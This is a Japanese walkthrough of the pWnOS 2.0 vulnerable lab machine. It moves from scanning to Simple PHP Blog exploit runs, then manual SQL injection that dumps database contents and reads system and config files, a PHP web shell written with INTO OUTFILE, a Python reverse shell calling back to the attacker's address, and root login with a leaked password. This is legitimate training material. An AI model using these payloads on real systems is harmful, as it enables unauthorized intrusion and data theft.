「pWnOS: 2.0」は、「pWnOS」によって開発され、pWnOSにて公開されているシリーズの一つです。
リリース情報
名称: pWnOS: 2.0 (Pre-Release)
リリース日: 2011年7月4日
シリーズ: pWnOS
作者: pWnOS
Walkthrough
IPアドレスの固定
pWnOS: 2.0のIPアドレスは、静的に10.10.10.100
に設定されています。
このため、攻撃プラットフォームKali Linux
を10.10.10.0/24
ネットワーク範囲内にあらかじめ設定しておく必要があります。そこで、/etc/network/interfaces
ファイルを次のとおり編集しました。設定を反映させるため、OSの再起動を行っています。
root@kali:~# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
source /etc/network/interfaces.d/*
# The loopback network interface
auto lo
iface lo inet loopback
allow-hotplug eth0
iface eth0 inet static
address 10.10.10.10
netmask 255.0.0.0
broadcast 10.255.255.255
gateway 10.10.10.1
列挙
実行されているサービスの特定
どのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -sS -sV -p- 10.10.10.100
コマンド構文を使用します。各オプションの狙いは、次の通りです。
-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします
root@kali:~# nmap -Pn -sS -sV -p- 10.10.10.100
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-20 11:59 JST
Nmap scan report for 10.10.10.100
Host is up (0.00037s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
MAC Address: 00:0C:29:06:E6:25 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.54 seconds
root@kali:~#
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
ポート番号 | サービス | バージョン |
---|---|---|
22/tcp | ssh | OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0) |
80/tcp | http | Apache httpd 2.2.17 ((Ubuntu)) |
ウェブサイトの診断
ウェブサイトの脆弱性を診断するために、nikto
を使用してみます。
root@kali:~# nikto -h http://10.10.10.100/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.100
+ Target Hostname: 10.10.10.100
+ Target Port: 80
+ Start Time: 2019-11-20 12:02:50 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.2.17 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.3.5-1ubuntu7
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ Apache/2.2.17 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ /info/: Output from the phpinfo() function was found.
+ OSVDB-3092: /info/: This might be interesting...
+ OSVDB-3092: /login/: This might be interesting...
+ OSVDB-3092: /register/: This might be interesting...
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: /icons/: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /icons/README, inode: 1311031, size: 5108, mtime: Tue Aug 28 19:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ /info.php?file=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ /login.php: Admin login page/section found.
+ 8310 requests: 0 error(s) and 27 item(s) reported on remote host
+ End Time: 2019-11-20 12:03:08 (GMT9) (18 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~#
さらに、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。dirb
コマンドを使用します。
root@kali:~# dirb http://10.10.10.100/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Nov 20 12:03:56 2019
URL_BASE: http://10.10.10.100/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.100/ ----
+ http://10.10.10.100/activate (CODE:302|SIZE:0)
==> DIRECTORY: http://10.10.10.100/blog/
+ http://10.10.10.100/cgi-bin/ (CODE:403|SIZE:288)
==> DIRECTORY: http://10.10.10.100/includes/
+ http://10.10.10.100/index (CODE:200|SIZE:854)
+ http://10.10.10.100/index.php (CODE:200|SIZE:854)
+ http://10.10.10.100/info (CODE:200|SIZE:50173)
+ http://10.10.10.100/info.php (CODE:200|SIZE:50042)
+ http://10.10.10.100/login (CODE:200|SIZE:1174)
+ http://10.10.10.100/register (CODE:200|SIZE:1562)
+ http://10.10.10.100/server-status (CODE:403|SIZE:293)
---- Entering directory: http://10.10.10.100/blog/ ----
+ http://10.10.10.100/blog/add (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/atom (CODE:200|SIZE:1062)
+ http://10.10.10.100/blog/categories (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/comments (CODE:302|SIZE:0)
==> DIRECTORY: http://10.10.10.100/blog/config/
+ http://10.10.10.100/blog/contact (CODE:200|SIZE:5891)
==> DIRECTORY: http://10.10.10.100/blog/content/
+ http://10.10.10.100/blog/delete (CODE:302|SIZE:0)
==> DIRECTORY: http://10.10.10.100/blog/docs/
==> DIRECTORY: http://10.10.10.100/blog/flash/
==> DIRECTORY: http://10.10.10.100/blog/images/
+ http://10.10.10.100/blog/index (CODE:200|SIZE:8094)
+ http://10.10.10.100/blog/index.php (CODE:200|SIZE:8094)
+ http://10.10.10.100/blog/info (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/info.php (CODE:302|SIZE:0)
==> DIRECTORY: http://10.10.10.100/blog/interface/
==> DIRECTORY: http://10.10.10.100/blog/languages/
+ http://10.10.10.100/blog/login (CODE:200|SIZE:5640)
+ http://10.10.10.100/blog/logout (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/options (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/rdf (CODE:200|SIZE:1411)
+ http://10.10.10.100/blog/rss (CODE:200|SIZE:1237)
==> DIRECTORY: http://10.10.10.100/blog/scripts/
+ http://10.10.10.100/blog/search (CODE:200|SIZE:4924)
+ http://10.10.10.100/blog/setup (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/static (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/stats (CODE:200|SIZE:5282)
==> DIRECTORY: http://10.10.10.100/blog/themes/
+ http://10.10.10.100/blog/trackback (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/upgrade (CODE:302|SIZE:0)
---- Entering directory: http://10.10.10.100/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/config/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/content/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/docs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/flash/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/interface/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/languages/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Wed Nov 20 12:04:04 2019
DOWNLOADED: 9224 - FOUND: 30
root@kali:~#
HTTPサービスのスキャン
Firefox
ブラウザを使って80/tcp
にアクセスしてみます。
-
Home
:index.php
-
Register
:register.php
-
Login
:login.php
- blog
nikto
やdirb
コマンドの結果から、/blog/
ディレクトリに注目してみます。
Simple PHP Blog アプローチ
searchsploit
コマンドを使って、Exploit-DBに掲載されているSimple PHP Blog 0.4.0
のexploitコードを検索してみましょう。
root@kali:~# searchsploit Simple PHP Blog 0.4.0
--------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------- ----------------------------------------
Simple PHP Blog 0.4.0 - Multiple Remote s | exploits/php/webapps/1191.pl
Simple PHP Blog 0.4.0 - Remote Command Execution (Metasploit) | exploits/php/webapps/16883.rb
--------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~#
結果、Simple PHP Blog 0.4.0
には、複数の脆弱性によりリモートコード実行(EDB-ID: 1191)が可能であることが判明しました。
root@kali:~# perl /usr/share/exploitdb/exploits/php/webapps/1191.pl -h http://10.10.10.100/blog -e 2
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________
Running Username and Password Hash Retrieval Exploit....
Retrieved Username and Password Hash: $1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/
*** Exploit Completed....
Have a nice day! :)
root@kali:~#
ユーザー名/パスワードハッシュが出力されました。hashid
コマンドで形式を特定します。
root@kali:~# hashid '$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/'
Analyzing '$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/'
[+] MD5 Crypt
[+] Cisco-IOS(MD5)
[+] FreeBSD MD5
root@kali:~#
1191.pl
を使って、新しいユーザh4ck/h4ck
を作成します。
root@kali:~# perl /usr/share/exploitdb/exploits/php/webapps/1191.pl -h http://10.10.10.100/blog/login.php -e 3 -U h4ck -P h4ck
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________
Running Set New Username and Password Exploit....
Deleted File: ./config/password.txt
./config/password.txt created!
Username is set to: h4ck
Password is set to: h4ck
*** Exploit Completed....
Have a nice day! :)
root@kali:~#
作成したh4ck/h4ck
アカウントを使い、Simple PHP Blog
へログインします。
SQLインジェクション
「SQLインジェクション(CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))」の脆弱性を抱えている可能性について検証します。
攻略のヒントは、書籍『The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws (English Edition)』の、「Chapter 9 Attacking Data Stores - Finding SQL Injection Bugs」に、こんな風に記載されています。
When user-supplied string data is incorporated into a SQL query, it is encapsulated within single quotation marks. To exploit any SQL injection flaw, you need to break out of these quotation marks.
そこで、login.php
のEmail Address:
/Password:
要求に対して、シングルクォーテーション'
を送信してみます。
次のエラーが出力されました。シングルクォーテーションに対する反応から、SQLインジェクション攻撃に対して脆弱である可能性を推定することができました。
An error occurred in script '/var/www/login.php' on line 47: Query: SELECT * FROM users WHERE email=''' AND pass='bb589d0621e5472f470fa3425a234c74b1e202e8' AND active IS NULL
MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'bb589d0621e5472f470fa3425a234c74b1e202e8' AND active IS NULL' at line 1
Date/Time: 9-25-2019 09:24:38
エラーから得られた有益と思われる情報をまとめておきます。
項目 | 内容 |
---|---|
パス | /var/www/login.php |
バージョン情報 | MySQL 5.1.54-1ubuntu4 |
クエリ | Query: SELECT * FROM users WHERE email=''' AND pass='bb589d0621e5472f470fa3425a234c74b1e202e8' AND active IS NULL |
wapitiコマンド
ウェブサイトにて、wapiti
コマンドを実行します。
root@kali:~# wapiti http://10.10.10.100/
Wapiti-2.3.0 (wapiti.sourceforge.net)
Note
========
This scan has been saved in the file /root/.wapiti/scans/10.10.10.100.xml
You can use it to perform attacks without scanning again the web site with the "-k" parameter
[*] Loading modules:
mod_crlf, mod_exec, mod_file, mod_sql, mod_xss, mod_backup, mod_htaccess, mod_blindsql, mod_permanentxss, mod_nikto
[+] Launching module exec
[+] Launching module file
[+] Launching module sql
MySQL Injection in http://10.10.10.100/login.php via injection in the parameter email
Evil request:
POST /login.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/login.php
Content-Type: application/x-www-form-urlencoded
email=%BF%27%22%28&pass=letmein&submit=Login&submitted=TRUE
[+] Launching module xss
XSS vulnerability in http://10.10.10.100/register.php via injection in the parameter first_name
Evil request:
POST /register.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/register.php
Content-Type: application/x-www-form-urlencoded
first_name=%22%3E%3C%2Finput%3E%3Cscript%3Ealert%28%27wc0jjmxhaz%27%29%3C%2Fscript%3E&last_name=default&email=default&password1=letmein&password2=letmein&submit=Register&submitted=TRUE
XSS vulnerability in http://10.10.10.100/register.php via injection in the parameter last_name
Evil request:
POST /register.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/register.php
Content-Type: application/x-www-form-urlencoded
first_name=default&last_name=%22%3E%3C%2Finput%3E%3Cscript%3Ealert%28%27wmdl5aja5v%27%29%3C%2Fscript%3E&email=default&password1=letmein&password2=letmein&submit=Register&submitted=TRUE
XSS vulnerability in http://10.10.10.100/register.php via injection in the parameter email
Evil request:
POST /register.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/register.php
Content-Type: application/x-www-form-urlencoded
first_name=default&last_name=default&email=%22%3E%3C%2Finput%3E%3Cscript%3Ealert%28%27wqjo3p1j54%27%29%3C%2Fscript%3E&password1=letmein&password2=letmein&submit=Register&submitted=TRUE
[+] Launching module blindsql
[+] Launching module permanentxss
Report
------
A report has been generated in the file /root/.wapiti/generated_report
Open /root/.wapiti/generated_report/index.html with a browser to see this report.
root@kali:~#
-
login.php
におけるemail
パラメータにSQLインジェクションの脆弱性を検知 -
register.php
における複数のパラメータにXSSの脆弱性を検知
BurpSuite
HTTP通信内容の書き換えて、SQLインジェクション攻撃に対する反応を調査していきます。ここでは、BurpSuite
を使いリクエストの取得、パラメータの書き換えを行います。
Firefox
ブラウザを介してBurpSuite
にてクライアントとサーバー間のトラフィックすべてを横取りできるように、必要な設定(Configuring your Browser to work with Burp、Configuring Firefox to work with Burp)を行います。
BurpSuiteの初期設定
BurpのProxy機能を利用します。この機能は、Webアプリケーションの通信でサーバにリクエストを送信する際に、BurpがHTTP通信をキャプチャし、通信内容の閲覧や通信内容の書き換えが可能となる機能です。
- Burpを起動し、[Proxy]タブ->[Options]タブに移動し、[Proxy Listeners]の設定内容を確認します(初期設定では、Interfaceとして、
127.0.0.1:8080
が設定されています)。 - 次に、レスポンス内容もキャプチャするための設定を行います。同じく[Proxy]タブ->[Options]タブの[Intercept Client Requests]の設定内容を確認します。[Intercept responses based on the following rules]チェックボックスをONに設定します。
- [Use this proxy server for all protocols]チェックボックスがオンになっていることを確認します。[OK]をクリックして、すべてのオプションダイアログを閉じます。
FirefoxをBurpで動作させる初期設定
- Firefoxのアドレスバーに
about:preferences#advanced
を入力します。 - [Network]タブに移動し、[Connection]の[Settings]ボタンをクリックします。
- [Manual proxy configuration]オプションを選択し、[HTTP Proxy]フィールドにBurp Proxyリスナーアドレスを入力します(初期設定は
127.0.0.1
に設定されています)。[Port]フィールドにBurp Proxyリスナーポートを入力します(初期設定は8080
に設定されています)。
Firefoxの内部通信を抑制する
- 初期設定のFirefoxでは、
http://detectportal.firefox.com/success.txt
へのアクセスが頻繁に発生します。ペネトレーションテストには不要な通信のため、抑制します。
ログインフォームのキャプチャ
BurpのIntercept機能を利用します。ログインフォームに値を入力し、[Login]ボタンをクリックした際に送信される値を確認します。
- Burpの[Proxy]タブ->[Intercept]タブに移動し、[Intercept is off]の状態にします。
email=email&pass=password&submit=Login&submitted=TRUE
HTTP通信の書き換え
BurpのRepeater機能を利用します。この機能は、HTTPリクエストをBurpから直接送信することが可能です。BurpのProxy機能でキャプチャした内容を書き換えて再送することができます。
この機能を使って、データベース探索を行います。
データベース探索
MySQL バージョンの表示
- Proxy機能でログインフォームのキャプチャした後、右クリックメニューを表示させ[Send to Repeater]を選択します。
email='&pass=password&submit=Login&submitted=TRUE
- Responseの内容を確認すると、
MySQL 5.1.54-1ubuntu4
であることが特定できました。
テーブル内の列数を確認
union select columns_sequence
クエリを使い、テーブル内の列数を確認するとともに、脆弱な列の表示を試みます。
columns_sequence
を、コンマ,
で区切られた1
からx-1
(列の数)までの数値に置き換えます。すなわち、列数が8
の場合、クエリは次のようになります。
email=' union select 1,2,3,4,5,6,7,8-- -&pass=password&submit=Login&submitted=TRUE
また、Burp RepeaterのRender
タブに切り替えると、次のように表示されます。これはすなわち、書き込み可能な列は4
であることを示しています。
ユーザー名の特定
ユーザー名を列挙します。すでに列4
が脆弱である(書き込むことができる)ことが判明しています。そこで、コードをその列に挿入するクエリを実行します。
email=' union select 1,2,3,user(),5,6,7,8-- -&pass=password&submit=Login&submitted=TRUE
バージョン、データベース名、ディレクトリの列挙
同様に、バージョン情報をversion()
、データベースの名前をdatabase()
、格納ディレクトリを@@datadir
にて列挙が可能です。
また、rgoup_concat()
関数にて文字列を結合し、0x3a
(コロン記号)にて区切ることでこれらの値を一括して列挙することが可能です。
email=' union select 1,2,3,group_concat(version(),0x3a,database(),0x3a,@@datadir,0x3a,user()),5,6,7,8-- -&pass=password&submit=Login&submitted=TRUE
項目 | 内容 |
---|---|
バージョン | 5.1.54-1ubuntu4 |
データベースの名前 | ch16 |
サーバの格納ディレクトリ | /var/lib/mysql/ |
現在のユーザー名 | root@localhost |
すべてのデータベースの列挙
SQL内のすべてのデータベースが列挙可能であるか検証します。次のクエリを実行します。4
をgroup_concat(schema_name)
に置き換え、from information_schema.schemata#
を追加します。
email=' union select 1,2,3,group_concat(schema_name),5,6,7,8 from information_schema.schemata#&pass=password&submit=Login&submitted=TRUE
3つのデータベースが存在していることを特定しました。このうち、information_schema
とmysql
は標準的なデータベースです。従って、解析対象はch16
データベースとなります。
項目 | 内容 |
---|---|
バージョン | 5.1.54-1ubuntu4 |
データベースの名前 | ch16 |
サーバの格納ディレクトリ | /var/lib/mysql/ |
現在のユーザー名 | root@localhost |
データベース | information_schema, ch16, mysql |
テーブルの列挙
ch16
データベースに注目し、このデータベースからすべてのテーブルを列挙します。次のクエリを実行します。4
をgroup_concat(table_name)
に置き換え、from information_schema.tables where table_schema='ch16'
を追加します。
email=' union select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema='ch16'#&pass=password&submit=Login&submitted=TRUE
ch16
データベースにはusers
テーブルが存在していることを特定しました。
項目 | 内容 |
---|---|
バージョン | 5.1.54-1ubuntu4 |
データベースの名前 | ch16 |
サーバの格納ディレクトリ | /var/lib/mysql/ |
現在のユーザー名 | root@localhost |
データベース | information_schema, ch16, mysql |
ch16 DBのテーブル | users |
カラム名の列挙
users
テーブルのカラム名を列挙するクエリを実行します。4
をgroup_concat(column_name)
に置き換え、from information_schema.columns where table_schema='ch16'#
を追加します。
email=' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_schema='ch16'#&pass=password&submit=Login&submitted=TRUE
ch16
データベースにはusers
テーブルが存在し、そのカラム名(列名)は次のとおりであることを特定しました。
+-------------------+
| user_id |
| first_name |
| last_name |
| email |
| pass |
| user_level |
| active |
| registration_date |
+-------------------+
値の列挙
ch16
データベースのusers
テーブルに存在する各列の値を列挙するクエリを実行します。4
をgroup_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level)
に置き換え、from ch16.users#
を追加します。
email=' union select 1,2,3,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level),5,6,7,8 from ch16.users#&pass=password&submit=Login&submitted=TRUE
user_id:1
、email:admin@isints.com
、user_level:0
の値からDan Privett
は特権ユーザの可能性が推測できます。
しかし、システムへの侵入に使用できるアカウントではないようです。
+------------------------------------------------------+
| user_id |1 |
| first_name |Dan |
| last_name |Privett |
| email |admin@isints.com |
| pass |c2c4b4e51d9e23c02c15702c136c3e950ba9a4af |
| user_level |0 |
+------------------------------------------------------+
システム探索
ここでは、SQLインジェクションの脆弱性を突き、load_file()
関数にてシステム内部のファイル取得を試みます。
/etc/passwdファイルの取得
/etc/passwd
ファイルを取得するクエリを実行します。4
をload_file('/etc/passwd')
に置き換えます。
email=' union select 1,2,3,load_file('/etc/passwd'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
システムファイルの取得
すでにlogin.php
ファイルのパスが判明しています。実際にファイルを取得し、内容を確認してみます。
項目 | 内容 |
---|---|
パス | /var/www/login.php |
email=' union select 1,2,3,load_file('/var/www/login.php'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
新たにconfig.inc.php
ファイルの存在を特定することができました。先ほどと同様にファイルを取得し、内容を確認してみます。
項目 | 内容 |
---|---|
パス | /var/www/login.php |
パス | /var/www/includes/config.inc.php |
email=' union select 1,2,3,load_file('/var/www/includes/config.inc.php'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
新たにmysqli_connect.php
ファイルの存在を特定することができました。先ほどと同様にファイルを取得し、内容を確認してみます。
項目 | 内容 |
---|---|
パス | /var/www/login.php |
パス | /var/www/includes/config.inc.php |
パス | /var/www/mysqli_connect.php |
email=' union select 1,2,3,load_file('/var/www/mysqli_connect.php'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
これにて、データベースのパスワードを取得することができました。
項目 | 内容 |
---|---|
DB_USER | root |
DB_PASSWORD | goodday |
DB_HOST | localhost |
DB_NAME | ch16 |
アクセスの取得
ペイロードの作成
ブラウザから直接コマンドを発行できるようにするphpファイルのアップロードを試みます。into outfile
オプションを使用し、shell.php
という名前のファイルにコードを書き込みます。
email=' union select 1,2,3,"<?php system($_GET['cmd']);?>",5,6,7,8 into outfile '/var/www/shell.php'#&pass=password&submit=Login&submitted=TRUE
仕掛けたシェルが動作することを確認します。次のURLにアクセスします。
http://10.10.10.100/shell.php?cmd=whoami;id;uname -a;which python
リバースシェル
pentestmonkey のワンライナー Python リバースシェルを仕掛けてみます。
攻撃端末側でnc
コマンド構文を使用し、リバースシェルからの接続を待ち受けます。
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
今回は、pentestmonkeyのリバースシェルチートシートからPython版を仕掛けてみましょう。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
攻撃端末側のnc
がアクティブな状態で、次のURLに接続します。
http://10.10.10.100/shell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.10.10%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
シェルを拡張します。
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@web:/var/www$
/var/www/mysqli_connect.php
にて取得したroot/goodday
アカウントにて、MySQLサーバへの接続を試行します。次のとおり、失敗しました。
www-data@web:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: goodday
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
mysqli_connect.php
と同名ファイルが別の箇所存在している可能性について検証します。
www-data@web:/var/www$ find / -name "mysqli_connect.php" 2>/dev/null
find / -name "mysqli_connect.php" 2>/dev/null
/var/mysqli_connect.php
/var/www/mysqli_connect.php
次のとおり、二カ所にファイルが存在していることが確認できました。
|項目|内容|
|パス|/var/www/mysqli_connect.php|
|パス|/var/mysqli_connect.php|
2つのmysqli_connect.php
ファイルについて比較します。
www-data@web:/var/www$ diff /var/mysqli_connect.php /var/www/mysqli_connect.php
< /var/mysqli_connect.php /var/www/mysqli_connect.php
10c10
< DEFINE ('DB_PASSWORD', 'root@ISIntS');
---
> DEFINE ('DB_PASSWORD', 'goodday');
www-data@web:/var/www$
root/goodday
のほかに、root/root@ISIntS
アカウントが存在していることが確認できました。
このアカウントを使って、MySQLサーバへの接続を試行します。次のとおり、成功しました。
www-data@web:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: root@ISIntS
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3290
Server version: 5.1.54-1ubuntu4 (Ubuntu)
Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL v2 license
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
特権の引き上げ
root/root@ISIntS
アカウントでSSH
接続を試みます。root権限でのアクセスに成功しました。
root@kali:~# ssh root@10.10.10.100
The authenticity of host '10.10.10.100 (10.10.10.100)' can't be established.
ECDSA key fingerprint is SHA256:EWPtTr0Xn9NMudUhcD3+AMXSigXAGS4uldZp3grLm8w.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.100' (ECDSA) to the list of known hosts.
root@10.10.10.100's password:
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)
* Documentation: http://www.ubuntu.com/server/doc
System information as of Sat Oct 19 02:39:16 EDT 2019
System load: 0.03 Processes: 73
Usage of /: 2.9% of 38.64GB Users logged in: 0
Memory usage: 21% IP address for eth0: 10.10.10.100
Swap usage: 0%
Graph this data and manage this system at https://landscape.canonical.com/
Last login: Mon May 9 19:29:03 2011
root@web:~#
まとめ
-
nmap
コマンドを使って、22番、80番ポートがオープン状態であることを確認しました。 -
wapiti
コマンドを使って、SQLインジェクションの脆弱性を抱えていることを確認しました。 -
BurpSuite
を使って、手作業によるSQLインジェクション攻撃を仕掛けました。 - SQLインジェクション攻撃(load_file()関数)により、Local File Inclusion(LFI)攻撃を仕掛けました。
- SQLインジェクション攻撃(into outfile)により、ファイルのアップロードを試みました。
- Pythonベースのリバースシェルを仕掛けました。